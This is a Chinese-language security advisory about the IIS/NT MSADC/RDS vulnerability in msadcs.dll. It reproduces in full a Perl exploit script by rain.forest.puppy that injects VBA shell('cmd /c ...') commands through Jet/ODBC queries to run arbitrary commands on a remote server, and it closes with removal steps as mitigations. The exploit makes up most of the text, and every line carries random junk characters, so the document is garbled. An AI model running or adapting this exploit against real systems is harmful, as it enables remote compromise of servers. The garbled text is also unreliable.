IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
RQW<Sp~ qdwjg8fo4Z 涉及程序：
cB4p.iO
Microsoft NT server
e2Df@ 8> O^4K o} 描述：
JDm7iJxc_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
UP@-@syGw g({dD ; 详细：
Y -G;;~ 如果你没有时间读详细内容的话，就删除:
pd oCV c:\Program Files\Common Files\System\Msadc\msadcs.dll
^vr`t9EE 有关的安全问题就没有了。
k1_ 3\JO"6 #3((f[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
YojYb]y+ j nX-%qc" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
B#K2?Et!t 关于利用ODBC远程漏洞的描述，请参看:
< m+$@:cO psAdYEGk! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm : a
y-2 ^?gs<-)B 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
j~`rc2n% http://www.microsoft.com/security/bulletins/MS99-025faq.asp =@go;, " ;T?4=15c 这里不再论述。
I~NQ t^sg p Yaq1_<+ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
YJ~3eZQ qJLtqv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5Y(f7,JX 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
qY%{c-aMA 9 e0Oj3!B om pkDl\E #将下面这段保存为txt文件，然后: "perl -x 文件名"
IQQWp@w#8 "P {T] #!perl
^ n8r mh_% #
NRZ>03w # MSADC/RDS 'usage' (aka exploit) script
3qB ZzM
O* #
VU
8 ~hF # by rain.forest.puppy
%)G]rta# #
P]||Xbbp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
X00! @
^g # beta test and find errors!
Zv)x-4 8 8Qi@z Jq, use Socket; use Getopt::Std;
4O'X+dv^I getopts("e:vd:h:XR", \%args);
Dl95Vo=1 psZ #^@>mJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
H| 1O>p& xbhU:,o if (!defined $args{h} && !defined $args{R}) {
Oa|'wh ug print qq~
VJ$UpqVm Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ee -yP[2
* -h <host> = host you want to scan (ip or domain)
PK|"+I0 -d <seconds> = delay between calls, default 1 second
Ae 3: " -X = dump Index Server path table, if available
-A17tC20J1 -v = verbose
\t
04 - -e = external dictionary file for step 5
f S(IN~ Ye) F{WqZ# Or a -R will resume a command session
<X1^w "=9kX`(1 y ~; exit;}
x"QZ}28(t [p#
}=&d $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
yZ]u{LJS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
p@+r&Mg%W" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a'2^ kds if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#Jqa_$\. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
o `N /w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
&o$Pwk\p/ cN\Fgbt if (!defined $args{R}){ $ret = &has_msadc;
{expx<+4F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1C' _I Z/hgr|&} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+nT(>RJR . "cmd /c ";
O5eTkKUc $in=<STDIN>; chomp $in;
E/_I$<,_y $command="cmd /c " . $in ;
XUp'wP P85@G
2 if (defined $args{R}) {&load; exit;}
BNe6q[ )W~ wc#E:GJcK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
X,"(G}KUA &try_btcustmr;
L\Y4$e9bF8 ;}k9YlQrN print "\nStep 2: Trying to make our own DSN...";
8Mf{6& F= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
HRxA0y= hbg:}R=B< print "\nStep 3: Trying known DSNs...";
$D)Ajd; &known_dsn;
!+# pGSk J"Z=`I)KON print "\nStep 4: Trying known .mdbs...";
5x:dhkW &known_mdb;
@fSBW+ &?xZ Hr` if (defined $args{e}){
]1 (G:h\ print "\nStep 5: Trying dictionary of DSN names...";
j6_tFJT &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
=xq+r]g6 aEW sr u print "Sorry Charley...maybe next time?\n";
5p7?e3 exit;
$0 6[D91' F6\Hqv ##############################################################################
QFtf.")[.
X|w[:[P sub sendraw { # ripped and modded from whisker
mWPA]g( sleep($delay); # it's a DoS on the server! At least on mine...
l@OY8z-_ my ($pstr)=@_;
- .EH?{i socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.sOEqwO}> die("Socket problems\n");
t5Oeb<REz if(connect(S,pack "SnA4x8",2,80,$target)){
?|;q =p`t- select(S); $|=1;
J*} warf& print $pstr; my @in=<S>;
]F 4 .m select(STDOUT); close(S);
L d;))e return @in;
/:OSql5K*< } else { die("Can't connect...\n"); }}
Z.D O 2=+= Tpp uEC> ##############################################################################
Lm{qFu $)O=3dNbo sub make_header { # make the HTTP request
*VPj BzcH my $msadc=<<EOT
R@8pKCL. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
B3V; User-Agent: ACTIVEDATA
HDY2<Hzc Host: $ip
e
1$< ,.> Content-Length: $clen
aF41?.s Connection: Keep-Alive
W1T%
Q 88 e(~9JP9 ADCClientVersion:01.06
7(S 6 6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:K)7_]y #oX8EMqs< --!ADM!ROX!YOUR!WORLD!
XDdF7i} Content-Type: application/x-varg
`, lry7] Content-Length: $reqlen
74p=uQ 5SNa~
kC& EOT
bk}'wcX<+] ; $msadc=~s/\n/\r\n/g;
p9` !.~[ return $msadc;}
{ %b*4x0? zv8AvNDK ##############################################################################
[PW\l+i %A^V@0K3 sub make_req { # make the RDS request
ac%6eW 0# my ($switch, $p1, $p2)=@_;
7B)m/%>3s my $req=""; my $t1, $t2, $query, $dsn;
1z5Oi u FP_q?=~rFs if ($switch==1){ # this is the btcustmr.mdb query
qLYz-P'ik $query="Select * from Customers where City=" . make_shell();
4Nun-(q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_ / >JM0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6B=: P3Y h7"c_=w+ elsif ($switch==2){ # this is general make table query
j*' +f~ A $query="create table AZZ (B int, C varchar(10))";
p" UdD $dsn="$p1";}
H6t'V%Ys _* m<Z;Et elsif ($switch==3){ # this is general exploit table query
wJ%;\0 6 $query="select * from AZZ where C=" . make_shell();
{)?:d6" $dsn="$p1";}
CVt:tV n LD1j elsif ($switch==4){ # attempt to hork file info from index server
N r,Q u8 $query="select path from scope()";
cM hBOm* $dsn="Provider=MSIDXS;";}
rijavZS6 V*< `!w elsif ($switch==5){ # bad query
qbsmB8 rh $query="select";
y<5RV>"Vg $dsn="$p1";}
$~+(si2 !ay:h
Iv $t1= make_unicode($query);
p .^qB]% $t2= make_unicode($dsn);
`]7==c #Y $req = "\x02\x00\x03\x00";
?bH&F $req.= "\x08\x00" . pack ("S1", length($t1));
)4 MM>Q $req.= "\x00\x00" . $t1 ;
u _mtdB' $req.= "\x08\x00" . pack ("S1", length($t2));
[` 4 $req.= "\x00\x00" . $t2 ;
iLC.?v2= $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
yCvP-? 2 return $req;}
srCpgs]h QHDR* tB:{ ##############################################################################
]T:a&DHC yt@7l]I sub make_shell { # this makes the shell() statement
cTJi8f=g return "'|shell(\"$command\")|'";}
\5iM r[s RH}i= ##############################################################################
{U'\2Ge<m ;0vC ZaEF sub make_unicode { # quick little function to convert to unicode
L~+/LV my ($in)=@_; my $out;
NHL9qL"qk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hl]q6ZK!6 return $out;}
VtN1 [} \'Q rJ ?D ##############################################################################
ZccvZl ;b 9?XQB%44 sub rdo_success { # checks for RDO return success (this is kludge)
xWnOOE$i my (@in) = @_; my $base=content_start(@in);
xt&4]M
V if($in[$base]=~/multipart\/mixed/){
fg)VO6Wo& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?:42jp3 return 0;}
KcvstC` l+A)MJd oj ##############################################################################
x fa- 4`GOBX1b.y sub make_dsn { # this makes a DSN for us
S54q?sb_ my @drives=("c","d","e","f");
TtQ'I}7q print "\nMaking DSN: ";
2 O
2HmL foreach $drive (@drives) {
21$E.x 6 print "$drive: ";
;=p3L<~c`K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
b}
0G~oLP "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
rez )$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
V1&qgAy~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
8<)ZpB,7 return 0 if $2 eq "404"; # not found/doesn't exist
hYht8?6}m if($2 eq "200") {
{vq| 0t\- foreach $line (@results) {
8c\\-{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
M u i\E } return 0;}
O
joa3 )_YB8jUR-X ##############################################################################
o (k{Ed VI Huo, sub verify_exists {
ZZ n$N- my ($page)=@_;
r3B}d*v my @results=sendraw("GET $page HTTP/1.0\n\n");
uOO\!Hqq return $results[0];}
DL*vF>v apOa E7| ##############################################################################
Kl,NL]]4*5 JC MUK<CG sub try_btcustmr {
V3>tW,z my @drives=("c","d","e","f");
h UC157 my @dirs=("winnt","winnt35","winnt351","win","windows");
|M&4[ka} 3K=%I+G(4 foreach $dir (@dirs) {
p0[+Zm{#l print "$dir -> "; # fun status so you can see progress
.VCF[AleS
foreach $drive (@drives) {
D 5bPF~q print "$drive: "; # ditto
byFO^pce $reqlen=length( make_req(1,$drive,$dir) ) - 28;
l*?_ @ $reqlenlen=length( "$reqlen" );
%tMx48'N $clen= 206 + $reqlenlen + $reqlen;
lSg[7lt W,|+Dl my @results=sendraw(make_header() . make_req(1,$drive,$dir));
FUarI5#fwF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
kuI~lBWI else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`a%MD>R_Lg ?P }bl_ ##############################################################################
Gp{,v p$t|e u
sub odbc_error {
;I& XG my (@in)=@_; my $base;
v \[+ my $base = content_start(@in);
Cyos * if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$g^D1zkuDT $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cNbUr $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a%A!Dz S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?-zuy US return $in[$base+4].$in[$base+5].$in[$base+6];}
&+n9T?+b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
En:>c print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6`@b@Kd $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
DXo ]O}VF S,j. ?u*! ##############################################################################
z %Bzf~N9 @c- sub verbose {
<PVwf`W. my ($in)=@_;
| UlG@Mn return if !$verbose;
o@BV&| print STDOUT "\n$in\n";}
D#AqZS> B Q~tXT_ ##############################################################################
i y8J l 0,nz*UDk sub save {
W#%s0EN<_ my ($p1, $p2, $p3, $p4)=@_;
f1]zsn: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lxm/*^
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
R 8cOb*D close OUT;}
XC5/$3'M& AN:yL
a! ##############################################################################
8P zGUn;\ j.ucv sub load {
6Cz
O
ztn my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qVKd c*R- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@)BO`;*$fF @p=<IN>; close(IN);
WR3,woo $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`sCn4-$8 $target= inet_aton($ip) || die("inet_aton problems");
|mP};&b print "Resuming to $ip ...";
^$5 0[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
A#6zI NK#B if($p[1]==1) {
=gs-#\% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(-g*U# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
NJ)Dw`|%|) my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~_-]>
SI if (rdo_success(@results)){print "Success!\n";}
jM &d i else { print "failed\n"; verbose(odbc_error(@results));}}
+Q[uq!<VJk elsif ($p[1]==3){
L;*
s-j6y if(run_query("$p[3]")){
#R{>@]x` print "Success!\n";} else { print "failed\n"; }}
3*&
Y'/! elsif ($p[1]==4){
h~m,0nGO if(run_query($drvst . "$p[3]")){
.07` nIs" print "Success!\n"; } else { print "failed\n"; }}
Z;%uDlcXI exit;}
*X ( :vET Km;}xke6 ##############################################################################
0 0.x *v i1 |>JM[V sub create_table {
.G8>U XX my ($in)=@_;
#D4 $reqlen=length( make_req(2,$in,"") ) - 28;
v&|65[< $reqlenlen=length( "$reqlen" );
_Z Sp$>)/ $clen= 206 + $reqlenlen + $reqlen;
4/Y?e UQ my @results=sendraw(make_header() . make_req(2,$in,""));
J\r\_P@;c return 1 if rdo_success(@results);
]bJz-6u#: my $temp= odbc_error(@results); verbose($temp);
+U2lwd!j return 1 if $temp=~/Table 'AZZ' already exists/;
1!KROes4 return 0;}
~PI2G 9 E?G'F3i ##############################################################################
J7* o%W*V iCPm7AU sub known_dsn {
bDM },( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
MzD1sWmK my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a(|6)w- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Td'Mc -/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
RbX9PF"|+ cv aG[NF foreach $dSn (@dsns) {
l[Z o,4* print ".";
A<ds+0 next if (!is_access("DSN=$dSn"));
uYMn VE" if(create_table("DSN=$dSn")){
]*#i_dho7 print "$dSn successful\n";
>!t3~q1Cn if(run_query("DSN=$dSn")){
Ifn|wrx;g print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
d 2d-Mk print "Something's borked. Use verbose next time\n";}}} print "\n";}
$Lr& V ~ 4AS%^&ah ##############################################################################
y)fMVD"( 7a1o#O sub is_access {
yf:Vhr my ($in)=@_;
/[< F
f $reqlen=length( make_req(5,$in,"") ) - 28;
?
`p/jA $reqlenlen=length( "$reqlen" );
o{G*7V@H $clen= 206 + $reqlenlen + $reqlen;
&t[[4+Qt my @results=sendraw(make_header() . make_req(5,$in,""));
`9co7[Z my $temp= odbc_error(@results);
UDh \%?j verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(N}-]%# return 0;}
gS5R EC4I/ !?nO0Ao-$ ##############################################################################
Hw o _;fV LUbj^iQ9 sub run_query {
%dzt'uz my ($in)=@_;
TP
rq:"K $reqlen=length( make_req(3,$in,"") ) - 28;
nzC *mPX8 $reqlenlen=length( "$reqlen" );
uQIPnd(V $clen= 206 + $reqlenlen + $reqlen;
cu N9R G my @results=sendraw(make_header() . make_req(3,$in,""));
Z*m^K %qJ return 1 if rdo_success(@results);
A?H#bRAs my $temp= odbc_error(@results); verbose($temp);
Hu"$ )V return 0;}
8>9Mh!t}(I Z)s
!p ##############################################################################
hzsQK _;S 2iG+Ek-?" sub known_mdb {
&VGV0K3 Dp my @drives=("c","d","e","f","g");
uu.X>agg my @dirs=("winnt","winnt35","winnt351","win","windows");
bzFac5n)Q my $dir, $drive, $mdb;
_y~6b{T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
DK74s e Ucb e 33 # this is sparse, because I don't know of many
-qc'J<*^4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
p i ?/]}: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
NPK; "\\system32\\certmdb.mdb",
ga;nM#/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
$@L;j k|/VNV( =0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
nQ\` ] _C "\\cfusion\\cfapps\\forums\\forums_.mdb",
E7L>5z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^2~ZOP $A "\\cfusion\\cfapps\\security\\realm_.mdb",
p A OKy "\\cfusion\\cfapps\\security\\data\\realm.mdb",
8"j $=T6;W "\\cfusion\\database\\cfexamples.mdb",
c["1t1G "\\cfusion\\database\\cfsnippets.mdb",
q[\ 3,Y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,^([aK "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,<U =
7<NU "\\cfusion\\brighttiger\\database\\cleam.mdb",
98Vv K? "\\cfusion\\database\\smpolicy.mdb",
p(n0(}eVC' "\\cfusion\\database\cypress.mdb",
f)*?Ji|5F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
vwT1bw . "\\website\\cgi-win\\dbsample.mdb",
J@2jx4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Zi~. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
q`1tUd 4G ); #these are just
#kv9$ foreach $drive (@drives) {
9<u&27. foreach $dir (@dirs){
h-96 2(LG foreach $mdb (@sysmdbs) {
>%tP"x{ print ".";
:^]Po$fl if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
v 6
U !(x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9WG=3!-@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,/?J!W@m print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
oJTEN}fL } else { print "Something's borked. Use verbose next time\n"; }}}}}
nLm 'a_ %unn{92) foreach $drive (@drives) {
lwQ!sH[M foreach $mdb (@mdbs) {
z Ddo RK@ print ".";
,7B7X)m{3 if(create_table($drv . $drive . $dir . $mdb)){
P8YnKyI,. print "\n" . $drive . $dir . $mdb . " successful\n";
LA6XTgcu if(run_query($drv . $drive . $dir . $mdb)){
g=\(%zfsxr print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
6]1RxrAV } else { print "Something's borked. Use verbose next time\n"; }}}}
L ci? }
-dM~3 ' B& _:20^y~ ##############################################################################
<.ZIhDiE l ?Z{/0X)]| sub hork_idx {
E!Q@AZ print "\nAttempting to dump Index Server tables...\n";
BbX$R`f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-9o m,U`t $reqlen=length( make_req(4,"","") ) - 28;
R|RGoGE6g $reqlenlen=length( "$reqlen" );
MGF !ZZ\ $clen= 206 + $reqlenlen + $reqlen;
JP Dxzp my @results=sendraw2(make_header() . make_req(4,"",""));
lf( +]k30 if (rdo_success(@results)){
wrkw,H my $max=@results; my $c; my %d;
&u:U"j for($c=19; $c<$max; $c++){
spA|[\Nl $results[$c]=~s/\x00//g;
96\FJHt Z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
cIO/8D#zU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}@bp v $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%g7j7$c $d{"$1$2"}="";}
16 Qu{K foreach $c (keys %d){ print "$c\n"; }
bSIY|/d+ } else {print "Index server doesn't seem to be installed.\n"; }}
N6[Z*5efR 'gN[ LERT ##############################################################################
tV=Qt[|@ Aa9l-:R sub dsn_dict {
| d*<4-: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
$(62j0mS> while(<IN>){
@{IX
do $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
pss ')YP. next if (!is_access("DSN=$dSn"));
UT@Qo}: if(create_table("DSN=$dSn")){
t XzuP_0 print "$dSn successful\n";
<IZr..|O if(run_query("DSN=$dSn")){
t 9(,JC0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q,sO<1wAT\ print "Something's borked. Use verbose next time\n";}}}
D!* SA print "\n"; close(IN);}
3mo<O}} gkK(7=r% ##############################################################################
:tV"uWZFU bzG vnaTt sub sendraw2 { # ripped and modded from whisker
J)g
+I sleep($delay); # it's a DoS on the server! At least on mine...
Lj /^cx my ($pstr)=@_;
W(q K ?"s2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
n !zB+hW die("Socket problems\n");
<RxxGD if(connect(S,pack "SnA4x8",2,80,$target)){
N n_b print "Connected. Getting data";
t ] sk[ open(OUT,">raw.out"); my @in;
}D1? Z7p select(S); $|=1; print $pstr;
HxR5 &o while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
|$tF{\ close(OUT); select(STDOUT); close(S); return @in;
9uxoMjR- } else { die("Can't connect...\n"); }}
<1vogUDW T7qp ({v?Q ##############################################################################
&kf \[|y |3k r*# sub content_start { # this will take in the server headers
V nN(lJ my (@in)=@_; my $c;
Y3|_&\ v6 for ($c=1;$c<500;$c++) {
Oh}52= if($in[$c] =~/^\x0d\x0a/){
}G(#j OYk if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`$"{- else { return $c+1; }}}
c
CjN8< return -1;} # it should never get here actually
=8vwaJ O4nA ?bA ##############################################################################
fm#7}Y D8k >f ] sub funky {
"vYjL&4h my (@in)=@_; my $error=odbc_error(@in);
N8T.Ye N if($error=~/ADO could not find the specified provider/){
s|WcJV print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Qfj oHeG7 exit;}
]@_|A, ] if($error=~/A Handler is required/){
?z.
Z_A& print "\nServer has custom handler filters (they most likely are patched)\n";
Z{u]qI{l exit;}
`m V(: if($error=~/specified Handler has denied Access/){
bz:En'2>F print "\nServer has custom handler filters (they most likely are patched)\n";
DFwiBB6 exit;}}
oVl:g:K40 b 2\J<Nw ##############################################################################
eLH=PDdO A
_7I0^ sub has_msadc {
`MT.<5H my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
P {RGW.Ci@ my $base=content_start(@results);
,H|K3nh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
pw))9~ XU return 0;}
u$qas II Yi-,Pb?
########################
{DVMs|5;^ 5/hgWG6.t Us[F@ 解决方案：
_or_Vw! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g6gwNC:aF 2、移除web 目录: /msadc
